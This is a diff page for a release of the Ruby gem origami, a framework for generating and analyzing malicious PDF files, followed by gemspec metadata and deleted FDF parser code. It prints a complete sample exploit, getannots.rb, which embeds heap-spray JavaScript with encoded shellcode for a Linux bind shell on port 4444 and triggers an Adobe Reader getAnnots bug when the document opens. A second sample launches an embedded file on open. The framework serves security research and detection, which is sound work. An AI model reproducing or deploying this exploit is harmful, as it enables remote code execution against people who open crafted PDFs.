origami 1.2.1 → 1.2.2
Sign up to get free protection for your applications and to get access to all the features.
- data/README +1 -1
- data/bin/gui/hexview.rb +1 -1
- data/bin/gui/menu.rb +4 -4
- data/bin/gui/textview.rb +6 -4
- data/bin/gui/treeview.rb +4 -4
- data/bin/gui/walker.rb +1 -1
- data/bin/pdf2graph +1 -1
- data/bin/pdf2pdfa +1 -1
- data/bin/pdf2ruby +1 -1
- data/bin/pdfcocoon +1 -1
- data/bin/pdfcop +1 -1
- data/bin/pdfdecompress +1 -1
- data/bin/pdfdecrypt +1 -1
- data/bin/pdfencrypt +1 -1
- data/bin/pdfextract +75 -14
- data/bin/pdfmetadata +1 -1
- data/bin/shell/.irbrc +1 -1
- data/{origami.rb → lib/origami.rb} +3 -3
- data/{origami → lib/origami}/3d.rb +0 -0
- data/{origami → lib/origami}/acroform.rb +2 -2
- data/{origami → lib/origami}/actions.rb +0 -0
- data/{origami → lib/origami}/annotations.rb +0 -0
- data/{origami → lib/origami}/array.rb +0 -0
- data/{origami → lib/origami}/boolean.rb +0 -0
- data/{origami → lib/origami}/catalog.rb +0 -0
- data/{origami → lib/origami}/destinations.rb +0 -0
- data/{origami → lib/origami}/dictionary.rb +0 -0
- data/{origami → lib/origami}/docmdp.rb +0 -0
- data/{origami → lib/origami}/encryption.rb +9 -7
- data/{origami → lib/origami}/export.rb +0 -0
- data/lib/origami/extensions/fdf.rb +257 -0
- data/{origami/adobe → lib/origami/extensions}/ppklite.rb +3 -1
- data/{origami → lib/origami}/file.rb +0 -0
- data/{origami → lib/origami}/filters.rb +0 -0
- data/{origami → lib/origami}/filters/ascii.rb +0 -0
- data/{origami → lib/origami}/filters/ccitt.rb +0 -1
- data/{origami → lib/origami}/filters/crypt.rb +0 -0
- data/{origami → lib/origami}/filters/dct.rb +0 -0
- data/{origami → lib/origami}/filters/flate.rb +0 -0
- data/{origami → lib/origami}/filters/jbig2.rb +0 -0
- data/{origami → lib/origami}/filters/jpx.rb +0 -0
- data/{origami → lib/origami}/filters/lzw.rb +0 -0
- data/{origami → lib/origami}/filters/predictors.rb +0 -0
- data/{origami → lib/origami}/filters/runlength.rb +0 -0
- data/{origami → lib/origami}/font.rb +0 -0
- data/{origami → lib/origami}/functions.rb +0 -0
- data/{origami → lib/origami}/graphics.rb +0 -0
- data/{origami → lib/origami}/graphics/colors.rb +45 -23
- data/{origami → lib/origami}/graphics/instruction.rb +0 -0
- data/{origami → lib/origami}/graphics/path.rb +0 -0
- data/{origami → lib/origami}/graphics/patterns.rb +0 -0
- data/{origami → lib/origami}/graphics/render.rb +0 -0
- data/{origami → lib/origami}/graphics/state.rb +2 -2
- data/{origami → lib/origami}/graphics/text.rb +0 -0
- data/{origami → lib/origami}/graphics/xobject.rb +219 -0
- data/{origami → lib/origami}/header.rb +0 -0
- data/{origami → lib/origami}/javascript.rb +0 -0
- data/{origami → lib/origami}/linearization.rb +0 -0
- data/{origami → lib/origami}/metadata.rb +0 -0
- data/{origami → lib/origami}/name.rb +0 -0
- data/{origami → lib/origami}/null.rb +0 -0
- data/{origami → lib/origami}/numeric.rb +0 -0
- data/{origami → lib/origami}/obfuscation.rb +0 -0
- data/{origami → lib/origami}/object.rb +7 -2
- data/{origami → lib/origami}/outline.rb +0 -0
- data/{origami → lib/origami}/outputintents.rb +0 -0
- data/{origami → lib/origami}/page.rb +0 -0
- data/{origami → lib/origami}/parser.rb +76 -51
- data/{origami → lib/origami}/parsers/fdf.rb +9 -6
- data/{origami/parsers/pdf/linear.rb → lib/origami/parsers/pdf.rb} +31 -39
- data/lib/origami/parsers/pdf/linear.rb +84 -0
- data/lib/origami/parsers/ppklite.rb +93 -0
- data/{origami → lib/origami}/pdf.rb +6 -3
- data/{origami → lib/origami}/reference.rb +0 -0
- data/{origami → lib/origami}/signature.rb +170 -19
- data/{origami → lib/origami}/stream.rb +9 -0
- data/{origami → lib/origami}/string.rb +0 -0
- data/{origami → lib/origami}/trailer.rb +0 -0
- data/{origami → lib/origami}/webcapture.rb +0 -0
- data/{origami → lib/origami}/xfa.rb +0 -0
- data/{origami → lib/origami}/xreftable.rb +3 -7
- data/samples/README.txt +45 -0
- data/samples/actions/launch/calc.rb +87 -0
- data/samples/actions/launch/winparams.rb +22 -0
- data/samples/actions/loop/loopgoto.rb +24 -0
- data/samples/actions/loop/loopnamed.rb +21 -0
- data/samples/actions/named/named.rb +31 -0
- data/samples/actions/samba/smbrelay.rb +26 -0
- data/samples/actions/triggerevents/trigger.rb +75 -0
- data/samples/actions/webbug/submitform.js +26 -0
- data/samples/actions/webbug/webbug-browser.rb +68 -0
- data/samples/actions/webbug/webbug-js.rb +67 -0
- data/samples/actions/webbug/webbug-reader.rb +90 -0
- data/samples/attachments/attach.rb +40 -0
- data/samples/attachments/attached.txt +1 -0
- data/samples/crypto/crypto.rb +28 -0
- data/samples/digsig/signed.rb +46 -0
- data/samples/exploits/cve-2008-2992-utilprintf.rb +87 -0
- data/samples/exploits/cve-2009-0927-geticon.rb +65 -0
- data/samples/exploits/exploit_customdictopen.rb +55 -0
- data/samples/exploits/getannots.rb +69 -0
- data/samples/flash/flash.rb +31 -0
- data/samples/flash/helloworld.swf +0 -0
- data/samples/javascript/attached.txt +1 -0
- data/samples/javascript/js.rb +52 -0
- data/{tests → test}/ts_pdf.rb +1 -1
- metadata +109 -95
- data/origami/adobe/fdf.rb +0 -259
- data/origami/parsers/pdf.rb +0 -27
- data/origami/parsers/ppklite.rb +0 -86
- data/tests/dataset/test.dummycrt +0 -28
- data/tests/dataset/test.dummykey +0 -27
- data/tests/tc_actions.rb +0 -32
- data/tests/tc_annotations.rb +0 -85
- data/tests/tc_pages.rb +0 -37
- data/tests/tc_pdfattach.rb +0 -24
- data/tests/tc_pdfencrypt.rb +0 -110
- data/tests/tc_pdfnew.rb +0 -32
- data/tests/tc_pdfparse.rb +0 -98
- data/tests/tc_pdfsig.rb +0 -37
- data/tests/tc_streams.rb +0 -129
@@ -0,0 +1,69 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
begin
|
4
|
+
require 'origami'
|
5
|
+
rescue LoadError
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
7
|
+
$: << ORIGAMIDIR
|
8
|
+
require 'origami'
|
9
|
+
end
|
10
|
+
include Origami
|
11
|
+
|
12
|
+
pdf = PDF.read(ARGV[0])
|
13
|
+
|
14
|
+
jscript = %Q|
|
15
|
+
//##############
|
16
|
+
//Exploit made by Arr1val
|
17
|
+
//Proved in adobe 9.1 and adobe 8.1.4 on linux
|
18
|
+
//
|
19
|
+
//Steps:
|
20
|
+
//- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted)
|
21
|
+
//- attach the following script to the OpenAction of the pdf.
|
22
|
+
//##############
|
23
|
+
|
24
|
+
app.alert('start heap spray...');
|
25
|
+
|
26
|
+
|
27
|
+
var memory;
|
28
|
+
var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one
|
29
|
+
var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444
|
30
|
+
|
31
|
+
while(nop.length <= 0x100000/2) {
|
32
|
+
nop += nop;
|
33
|
+
}
|
34
|
+
|
35
|
+
nop = nop.substring(0,0x100000/2 - shellcode.length);
|
36
|
+
|
37
|
+
memory = new Array();
|
38
|
+
for(i=0; i<0x3; i++) { //we should at least overwrite 0x90909090
|
39
|
+
memory[i] = nop + shellcode;
|
40
|
+
}
|
41
|
+
|
42
|
+
|
43
|
+
//start exploit now
|
44
|
+
start();
|
45
|
+
|
46
|
+
function start()
|
47
|
+
{
|
48
|
+
// this.getAnnots(-134217728,-134217728,-134217728,-134217728);
|
49
|
+
app.alert("boom?");
|
50
|
+
this.getAnnots(-134217728,-134217729,-134217730,-134217731); //get control on EDI
|
51
|
+
}
|
52
|
+
|
53
|
+
|
54
|
+
//# milw0rm.com [2009-04-29]
|
55
|
+
|
|
56
|
+
|
57
|
+
#exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
|
58
|
+
exploit = Action::JavaScript.new(Stream.new(jscript))
|
59
|
+
pdf.onDocumentOpen( exploit )
|
60
|
+
|
61
|
+
|
62
|
+
annot = Annotation::Text.new
|
63
|
+
annot.Contents = "Hello world"
|
64
|
+
annot.Rect = [ 512, 512, 660, 606]
|
65
|
+
annot.F = Annotation::Flags::HIDDEN
|
66
|
+
pdf.pages[0].add_annot( annot )
|
67
|
+
|
68
|
+
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
69
|
+
|
@@ -0,0 +1,31 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
begin
|
4
|
+
require 'origami'
|
5
|
+
rescue LoadError
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
7
|
+
$: << ORIGAMIDIR
|
8
|
+
require 'origami'
|
9
|
+
end
|
10
|
+
include Origami
|
11
|
+
|
12
|
+
INPUTFILE = "helloworld.swf"
|
13
|
+
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
|
14
|
+
|
15
|
+
puts "Now generating a new PDF file from scratch!"
|
16
|
+
|
17
|
+
# Creating a new file
|
18
|
+
pdf = PDF.new.append_page(page = Page.new)
|
19
|
+
|
20
|
+
# Embedding the SWF file into the PDF.
|
21
|
+
swf = pdf.attach_file(INPUTFILE)
|
22
|
+
|
23
|
+
# Creating a Flash annotation on the page.
|
24
|
+
annot = page.add_flash_application(swf, :windowed => true, :navigation_pane => true, :toolbar => true)
|
25
|
+
|
26
|
+
# Setting the player position on the page.
|
27
|
+
annot.Rect = Rectangle.new(204, 573, 403, 718)
|
28
|
+
|
29
|
+
pdf.save(OUTPUTFILE)
|
30
|
+
|
31
|
+
puts "PDF file saved as #{OUTPUTFILE}."
|
Binary file
|
@@ -0,0 +1 @@
|
|
1
|
+
***THIS IS THE EMBEDDED FILE***
|
@@ -0,0 +1,52 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
begin
|
4
|
+
require 'origami'
|
5
|
+
rescue LoadError
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
7
|
+
$: << ORIGAMIDIR
|
8
|
+
require 'origami'
|
9
|
+
end
|
10
|
+
include Origami
|
11
|
+
|
12
|
+
if defined?(PDF::JavaScript::Engine)
|
13
|
+
|
14
|
+
INPUTFILE = "attached.txt"
|
15
|
+
|
16
|
+
# Creating a new file
|
17
|
+
pdf = PDF.new
|
18
|
+
|
19
|
+
# Embedding the file into the PDF.
|
20
|
+
pdf.attach_file(INPUTFILE,
|
21
|
+
:EmbeddedName => "README.txt",
|
22
|
+
:Filter => :ASCIIHexDecode
|
23
|
+
)
|
24
|
+
|
25
|
+
# Example of JS payload
|
26
|
+
js = <<-JS
|
27
|
+
if ( app.viewerVersion == 8 )
|
28
|
+
eval("this.exportDataObject({cName:'README.txt', nLaunch:2});");
|
29
|
+
this.closeDoc();
|
30
|
+
JS
|
31
|
+
pdf.onDocumentOpen Action::JavaScript.new(js)
|
32
|
+
|
33
|
+
# Tweaking the engine options
|
34
|
+
pdf.js_engine.options[:log_method_calls] = true
|
35
|
+
pdf.js_engine.options[:viewerVersion] = 8
|
36
|
+
|
37
|
+
# Hooking eval()
|
38
|
+
pdf.js_engine.hook 'eval' do |eval, expr|
|
39
|
+
puts "Hook: eval(#{expr.inspect})"
|
40
|
+
eval.call(expr) # calling the real eval method
|
41
|
+
end
|
42
|
+
|
43
|
+
# Example of inline JS evaluation
|
44
|
+
pdf.eval_js 'console.println(util.stringFromStream(this.getDataObjectContents("README.txt")))'
|
45
|
+
|
46
|
+
# Executes the string as a JS script
|
47
|
+
pdf.Catalog.OpenAction[:JS].eval_js
|
48
|
+
|
49
|
+
else
|
50
|
+
puts "JavaScript support not found. You need to install therubyracer gem."
|
51
|
+
end
|
52
|
+
|
data/{tests → test}/ts_pdf.rb
RENAMED
metadata
CHANGED
@@ -1,13 +1,13 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: origami
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
hash:
|
4
|
+
hash: 27
|
5
5
|
prerelease: false
|
6
6
|
segments:
|
7
7
|
- 1
|
8
8
|
- 2
|
9
|
-
-
|
10
|
-
version: 1.2.
|
9
|
+
- 2
|
10
|
+
version: 1.2.2
|
11
11
|
platform: ruby
|
12
12
|
authors:
|
13
13
|
- "Guillaume Delugr\xC3\xA9"
|
@@ -15,7 +15,7 @@ autorequire:
|
|
15
15
|
bindir: bin
|
16
16
|
cert_chain: []
|
17
17
|
|
18
|
-
date: 2011-10-
|
18
|
+
date: 2011-10-18 00:00:00 +02:00
|
19
19
|
default_executable:
|
20
20
|
dependencies: []
|
21
21
|
|
@@ -36,6 +36,7 @@ executables:
|
|
36
36
|
- pdfcocoon
|
37
37
|
- pdfsh
|
38
38
|
- pdfwalker
|
39
|
+
- pdf2pdfa
|
39
40
|
extensions: []
|
40
41
|
|
41
42
|
extra_rdoc_files: []
|
@@ -43,114 +44,127 @@ extra_rdoc_files: []
|
|
43
44
|
files:
|
44
45
|
- README
|
45
46
|
- COPYING.LESSER
|
46
|
-
- origami.rb
|
47
|
-
- origami/
|
48
|
-
- origami/
|
49
|
-
- origami/
|
50
|
-
- origami/
|
51
|
-
- origami/
|
52
|
-
- origami/
|
53
|
-
- origami/
|
54
|
-
- origami/
|
55
|
-
- origami/
|
56
|
-
- origami/
|
57
|
-
- origami/
|
58
|
-
- origami/
|
59
|
-
- origami/
|
60
|
-
- origami/
|
61
|
-
- origami/
|
62
|
-
- origami/
|
63
|
-
- origami/
|
64
|
-
- origami/
|
65
|
-
- origami/
|
66
|
-
- origami/
|
67
|
-
- origami/
|
68
|
-
- origami/
|
69
|
-
- origami/
|
70
|
-
- origami/
|
71
|
-
- origami/
|
72
|
-
- origami/
|
73
|
-
- origami/
|
74
|
-
- origami/
|
75
|
-
- origami/
|
76
|
-
- origami/
|
77
|
-
- origami/
|
78
|
-
- origami/
|
79
|
-
- origami/
|
80
|
-
- origami/
|
81
|
-
- origami/
|
82
|
-
- origami/
|
83
|
-
- origami/
|
84
|
-
- origami/
|
85
|
-
- origami/
|
86
|
-
- origami/
|
87
|
-
- origami/
|
88
|
-
- origami/
|
89
|
-
- origami/
|
90
|
-
- origami/
|
91
|
-
- origami/
|
92
|
-
- origami/
|
93
|
-
- origami/
|
94
|
-
- origami/
|
95
|
-
- origami/
|
96
|
-
- origami/
|
97
|
-
- origami/
|
98
|
-
- origami/
|
99
|
-
- origami/
|
100
|
-
- origami/
|
101
|
-
- origami/
|
102
|
-
- origami/
|
103
|
-
- origami/
|
104
|
-
- origami/
|
105
|
-
- origami/
|
106
|
-
- origami/
|
107
|
-
- origami/pdf.rb
|
108
|
-
- origami/
|
109
|
-
- origami
|
47
|
+
- lib/origami/3d.rb
|
48
|
+
- lib/origami/actions.rb
|
49
|
+
- lib/origami/annotations.rb
|
50
|
+
- lib/origami/array.rb
|
51
|
+
- lib/origami/boolean.rb
|
52
|
+
- lib/origami/catalog.rb
|
53
|
+
- lib/origami/destinations.rb
|
54
|
+
- lib/origami/dictionary.rb
|
55
|
+
- lib/origami/export.rb
|
56
|
+
- lib/origami/file.rb
|
57
|
+
- lib/origami/filters.rb
|
58
|
+
- lib/origami/filters/ascii.rb
|
59
|
+
- lib/origami/filters/crypt.rb
|
60
|
+
- lib/origami/filters/dct.rb
|
61
|
+
- lib/origami/filters/flate.rb
|
62
|
+
- lib/origami/filters/jbig2.rb
|
63
|
+
- lib/origami/filters/jpx.rb
|
64
|
+
- lib/origami/filters/lzw.rb
|
65
|
+
- lib/origami/filters/predictors.rb
|
66
|
+
- lib/origami/filters/runlength.rb
|
67
|
+
- lib/origami/filters/ccitt.rb
|
68
|
+
- lib/origami/font.rb
|
69
|
+
- lib/origami/functions.rb
|
70
|
+
- lib/origami/graphics.rb
|
71
|
+
- lib/origami/graphics/instruction.rb
|
72
|
+
- lib/origami/graphics/path.rb
|
73
|
+
- lib/origami/graphics/patterns.rb
|
74
|
+
- lib/origami/graphics/render.rb
|
75
|
+
- lib/origami/graphics/text.rb
|
76
|
+
- lib/origami/graphics/state.rb
|
77
|
+
- lib/origami/graphics/colors.rb
|
78
|
+
- lib/origami/graphics/xobject.rb
|
79
|
+
- lib/origami/header.rb
|
80
|
+
- lib/origami/javascript.rb
|
81
|
+
- lib/origami/linearization.rb
|
82
|
+
- lib/origami/metadata.rb
|
83
|
+
- lib/origami/name.rb
|
84
|
+
- lib/origami/null.rb
|
85
|
+
- lib/origami/numeric.rb
|
86
|
+
- lib/origami/obfuscation.rb
|
87
|
+
- lib/origami/outline.rb
|
88
|
+
- lib/origami/outputintents.rb
|
89
|
+
- lib/origami/page.rb
|
90
|
+
- lib/origami/parsers/pdf/linear.rb
|
91
|
+
- lib/origami/parsers/pdf.rb
|
92
|
+
- lib/origami/parsers/fdf.rb
|
93
|
+
- lib/origami/parsers/ppklite.rb
|
94
|
+
- lib/origami/reference.rb
|
95
|
+
- lib/origami/string.rb
|
96
|
+
- lib/origami/trailer.rb
|
97
|
+
- lib/origami/webcapture.rb
|
98
|
+
- lib/origami/xfa.rb
|
99
|
+
- lib/origami/docmdp.rb
|
100
|
+
- lib/origami/stream.rb
|
101
|
+
- lib/origami/object.rb
|
102
|
+
- lib/origami/extensions/fdf.rb
|
103
|
+
- lib/origami/extensions/ppklite.rb
|
104
|
+
- lib/origami/xreftable.rb
|
105
|
+
- lib/origami/parser.rb
|
106
|
+
- lib/origami/encryption.rb
|
107
|
+
- lib/origami/signature.rb
|
108
|
+
- lib/origami/pdf.rb
|
109
|
+
- lib/origami/acroform.rb
|
110
|
+
- lib/origami.rb
|
110
111
|
- bin/config/pdfcop.conf.yml
|
111
112
|
- bin/gui/about.rb
|
112
113
|
- bin/gui/config.rb
|
113
114
|
- bin/gui/file.rb
|
114
115
|
- bin/gui/hexdump.rb
|
115
|
-
- bin/gui/hexview.rb
|
116
116
|
- bin/gui/imgview.rb
|
117
|
-
- bin/gui/menu.rb
|
118
117
|
- bin/gui/properties.rb
|
119
118
|
- bin/gui/signing.rb
|
120
|
-
- bin/gui/textview.rb
|
121
|
-
- bin/gui/treeview.rb
|
122
|
-
- bin/gui/walker.rb
|
123
119
|
- bin/gui/xrefs.rb
|
120
|
+
- bin/gui/walker.rb
|
121
|
+
- bin/gui/hexview.rb
|
122
|
+
- bin/gui/treeview.rb
|
123
|
+
- bin/gui/textview.rb
|
124
|
+
- bin/gui/menu.rb
|
125
|
+
- bin/pdfsh
|
126
|
+
- bin/pdfwalker
|
127
|
+
- bin/shell/console.rb
|
128
|
+
- bin/shell/hexdump.rb
|
124
129
|
- bin/pdf2graph
|
130
|
+
- bin/pdf2pdfa
|
125
131
|
- bin/pdf2ruby
|
126
132
|
- bin/pdfcocoon
|
133
|
+
- bin/pdfcop
|
127
134
|
- bin/pdfdecompress
|
128
135
|
- bin/pdfdecrypt
|
129
|
-
- bin/pdfextract
|
130
|
-
- bin/pdfmetadata
|
131
|
-
- bin/pdfsh
|
132
|
-
- bin/pdfwalker
|
133
|
-
- bin/shell/console.rb
|
134
|
-
- bin/shell/hexdump.rb
|
135
136
|
- bin/pdfencrypt
|
136
|
-
- bin/
|
137
|
-
- bin/
|
138
|
-
-
|
139
|
-
-
|
140
|
-
-
|
141
|
-
-
|
142
|
-
-
|
143
|
-
-
|
144
|
-
-
|
145
|
-
-
|
146
|
-
-
|
147
|
-
-
|
148
|
-
-
|
149
|
-
-
|
137
|
+
- bin/pdfmetadata
|
138
|
+
- bin/pdfextract
|
139
|
+
- samples/actions/launch/calc.rb
|
140
|
+
- samples/actions/launch/winparams.rb
|
141
|
+
- samples/actions/loop/loopgoto.rb
|
142
|
+
- samples/actions/loop/loopnamed.rb
|
143
|
+
- samples/actions/named/named.rb
|
144
|
+
- samples/actions/samba/smbrelay.rb
|
145
|
+
- samples/actions/triggerevents/trigger.rb
|
146
|
+
- samples/actions/webbug/submitform.js
|
147
|
+
- samples/actions/webbug/webbug-browser.rb
|
148
|
+
- samples/actions/webbug/webbug-js.rb
|
149
|
+
- samples/actions/webbug/webbug-reader.rb
|
150
|
+
- samples/attachments/attached.txt
|
151
|
+
- samples/attachments/attach.rb
|
152
|
+
- samples/crypto/crypto.rb
|
153
|
+
- samples/digsig/signed.rb
|
154
|
+
- samples/exploits/cve-2008-2992-utilprintf.rb
|
155
|
+
- samples/exploits/cve-2009-0927-geticon.rb
|
156
|
+
- samples/exploits/exploit_customdictopen.rb
|
157
|
+
- samples/exploits/getannots.rb
|
158
|
+
- samples/flash/helloworld.swf
|
159
|
+
- samples/flash/flash.rb
|
160
|
+
- samples/README.txt
|
161
|
+
- samples/javascript/attached.txt
|
162
|
+
- samples/javascript/js.rb
|
150
163
|
- templates/patterns.rb
|
151
164
|
- templates/widgets.rb
|
152
165
|
- templates/xdp.rb
|
153
166
|
- bin/shell/.irbrc
|
167
|
+
- test/ts_pdf.rb
|
154
168
|
has_rdoc: true
|
155
169
|
homepage: http://aslr.fr/pages/Origami
|
156
170
|
licenses: []
|
@@ -159,7 +173,7 @@ post_install_message:
|
|
159
173
|
rdoc_options: []
|
160
174
|
|
161
175
|
require_paths:
|
162
|
-
-
|
176
|
+
- lib
|
163
177
|
required_ruby_version: !ruby/object:Gem::Requirement
|
164
178
|
none: false
|
165
179
|
requirements:
|
@@ -186,4 +200,4 @@ signing_key:
|
|
186
200
|
specification_version: 3
|
187
201
|
summary: Origami aims at providing a scripting tool to generate and analyze malicious PDF files.
|
188
202
|
test_files:
|
189
|
-
-
|
203
|
+
- test/ts_pdf.rb
|
data/origami/adobe/fdf.rb
DELETED
@@ -1,259 +0,0 @@
|
|
1
|
-
=begin
|
2
|
-
|
3
|
-
= File
|
4
|
-
adobe/fdf.rb
|
5
|
-
|
6
|
-
= Info
|
7
|
-
This file is part of Origami, PDF manipulation framework for Ruby
|
8
|
-
Copyright (C) 2010 Guillaume Delugr� <guillaume@security-labs.org>
|
9
|
-
All right reserved.
|
10
|
-
|
11
|
-
Origami is free software: you can redistribute it and/or modify
|
12
|
-
it under the terms of the GNU Lesser General Public License as published by
|
13
|
-
the Free Software Foundation, either version 3 of the License, or
|
14
|
-
(at your option) any later version.
|
15
|
-
|
16
|
-
Origami is distributed in the hope that it will be useful,
|
17
|
-
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
18
|
-
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
19
|
-
GNU Lesser General Public License for more details.
|
20
|
-
|
21
|
-
You should have received a copy of the GNU Lesser General Public License
|
22
|
-
along with Origami. If not, see <http://www.gnu.org/licenses/>.
|
23
|
-
|
24
|
-
=end
|
25
|
-
|
26
|
-
require 'origami/object'
|
27
|
-
require 'origami/name'
|
28
|
-
require 'origami/dictionary'
|
29
|
-
require 'origami/reference'
|
30
|
-
require 'origami/boolean'
|
31
|
-
require 'origami/numeric'
|
32
|
-
require 'origami/string'
|
33
|
-
require 'origami/array'
|
34
|
-
require 'origami/trailer'
|
35
|
-
require 'origami/xreftable'
|
36
|
-
|
37
|
-
module Origami
|
38
|
-
|
39
|
-
module Adobe
|
40
|
-
|
41
|
-
#
|
42
|
-
# Class representing an AcroForm Forms Data Format file.
|
43
|
-
#
|
44
|
-
class FDF
|
45
|
-
|
46
|
-
class Header
|
47
|
-
|
48
|
-
MAGIC = /\A%FDF-(\d)\.(\d)/
|
49
|
-
|
50
|
-
attr_accessor :majorversion, :minorversion
|
51
|
-
|
52
|
-
#
|
53
|
-
# Creates a file header, with the given major and minor versions.
|
54
|
-
# _majorversion_:: Major version.
|
55
|
-
# _minorversion_:: Minor version.
|
56
|
-
#
|
57
|
-
def initialize(majorversion = 2, minorversion = 1)
|
58
|
-
@majorversion, @minorversion = majorversion, minorversion
|
59
|
-
end
|
60
|
-
|
61
|
-
def self.parse(stream) #:nodoc:
|
62
|
-
|
63
|
-
if not stream.scan(MAGIC).nil?
|
64
|
-
maj = stream[1].to_i
|
65
|
-
min = stream[2].to_i
|
66
|
-
else
|
67
|
-
raise InvalidHeader, "Invalid header format"
|
68
|
-
end
|
69
|
-
|
70
|
-
PPKLite::Header.new(maj,min)
|
71
|
-
end
|
72
|
-
|
73
|
-
def to_s
|
74
|
-
"%FDF-#{@majorversion}.#{@minorversion}" + EOL
|
75
|
-
end
|
76
|
-
|
77
|
-
def to_sym #:nodoc:
|
78
|
-
"#{@majorversion}.#{@minorversion}".to_sym
|
79
|
-
end
|
80
|
-
|
81
|
-
def to_f #:nodoc:
|
82
|
-
to_sym.to_s.to_f
|
83
|
-
end
|
84
|
-
|
85
|
-
end
|
86
|
-
|
87
|
-
class Revision #:nodoc;
|
88
|
-
attr_accessor :pdf
|
89
|
-
attr_accessor :body, :xreftable, :trailer
|
90
|
-
|
91
|
-
def initialize(adbk)
|
92
|
-
@pdf = adbk
|
93
|
-
@body = {}
|
94
|
-
@xreftable = nil
|
95
|
-
@trailer = nil
|
96
|
-
end
|
97
|
-
|
98
|
-
def trailer=(trl)
|
99
|
-
trl.pdf = @pdf
|
100
|
-
@trailer = trl
|
101
|
-
end
|
102
|
-
end
|
103
|
-
|
104
|
-
attr_accessor :header, :revisions
|
105
|
-
|
106
|
-
def initialize #:nodoc:
|
107
|
-
@header = FDF::Header.new
|
108
|
-
@revisions = [ Revision.new(self) ]
|
109
|
-
@revisions.first.trailer = Trailer.new
|
110
|
-
end
|
111
|
-
|
112
|
-
def objects
|
113
|
-
def append_subobj(root, objset)
|
114
|
-
if objset.find{ |o| o.object_id == root.object_id }.nil?
|
115
|
-
objset << root
|
116
|
-
if root.is_a?(Array) or root.is_a?(Dictionary)
|
117
|
-
root.each { |subobj| append_subobj(subobj, objset) unless subobj.is_a?(Reference) }
|
118
|
-
end
|
119
|
-
end
|
120
|
-
end
|
121
|
-
|
122
|
-
objset = []
|
123
|
-
@revisions.first.body.values.each do |object|
|
124
|
-
unless object.is_a?(Reference)
|
125
|
-
append_subobj(object, objset)
|
126
|
-
end
|
127
|
-
end
|
128
|
-
|
129
|
-
objset
|
130
|
-
end
|
131
|
-
|
132
|
-
def <<(object)
|
133
|
-
|
134
|
-
object.set_indirect(true)
|
135
|
-
|
136
|
-
if object.no.zero?
|
137
|
-
maxno = 1
|
138
|
-
while get_object(maxno) do maxno = maxno.succ end
|
139
|
-
|
140
|
-
object.generation = 0
|
141
|
-
object.no = maxno
|
142
|
-
end
|
143
|
-
|
144
|
-
@revisions.first.body[object.reference] = object
|
145
|
-
|
146
|
-
object.reference
|
147
|
-
end
|
148
|
-
|
149
|
-
def Catalog
|
150
|
-
get_object(@trailer.Root)
|
151
|
-
end
|
152
|
-
|
153
|
-
def save(filename)
|
154
|
-
|
155
|
-
bin = ""
|
156
|
-
bin << @header.to_s
|
157
|
-
|
158
|
-
lastno, brange = 0, 0
|
159
|
-
|
160
|
-
xrefs = [ XRef.new(0, XRef::LASTFREE, XRef::FREE) ]
|
161
|
-
xrefsection = XRef::Section.new
|
162
|
-
|
163
|
-
@revisions.first.body.values.sort.each { |obj|
|
164
|
-
if (obj.no - lastno).abs > 1
|
165
|
-
xrefsection << XRef::Subsection.new(brange, xrefs)
|
166
|
-
brange = obj.no
|
167
|
-
xrefs.clear
|
168
|
-
end
|
169
|
-
|
170
|
-
xrefs << XRef.new(bin.size, obj.generation, XRef::USED)
|
171
|
-
lastno = obj.no
|
172
|
-
|
173
|
-
bin << obj.to_s
|
174
|
-
}
|
175
|
-
|
176
|
-
xrefsection << XRef::Subsection.new(brange, xrefs)
|
177
|
-
|
178
|
-
@xreftable = xrefsection
|
179
|
-
@trailer ||= Trailer.new
|
180
|
-
@trailer.Size = rev.body.size + 1
|
181
|
-
@trailer.startxref = bin.size
|
182
|
-
|
183
|
-
bin << @xreftable.to_s
|
184
|
-
bin << @trailer.to_s
|
185
|
-
|
186
|
-
fd = File.open(filename, "w").binmode
|
187
|
-
fd << bin
|
188
|
-
fd.close
|
189
|
-
|
190
|
-
show_entries
|
191
|
-
end
|
192
|
-
alias saveas save
|
193
|
-
|
194
|
-
private
|
195
|
-
|
196
|
-
def rebuildxrefs #:nodoc:
|
197
|
-
|
198
|
-
startxref = @header.to_s.size
|
199
|
-
|
200
|
-
@revisions.first.body.values.each { |object|
|
201
|
-
startxref += object.to_s.size
|
202
|
-
}
|
203
|
-
|
204
|
-
@xreftable = buildxrefs(@revisions.first.body)
|
205
|
-
|
206
|
-
@trailer ||= Trailer.new
|
207
|
-
@trailer.Size = @revisions.first.body.size + 1
|
208
|
-
@trailer.startxref = startxref
|
209
|
-
|
210
|
-
self
|
211
|
-
end
|
212
|
-
|
213
|
-
def buildxrefs(objects) #:nodoc:
|
214
|
-
|
215
|
-
lastno = 0
|
216
|
-
brange = 0
|
217
|
-
|
218
|
-
xrefs = [ XRef.new(0, XRef::LASTFREE, XRef::FREE) ]
|
219
|
-
|
220
|
-
xrefsection = XRef::Section.new
|
221
|
-
objects.sort.each { |object|
|
222
|
-
if (object.no - lastno).abs > 1
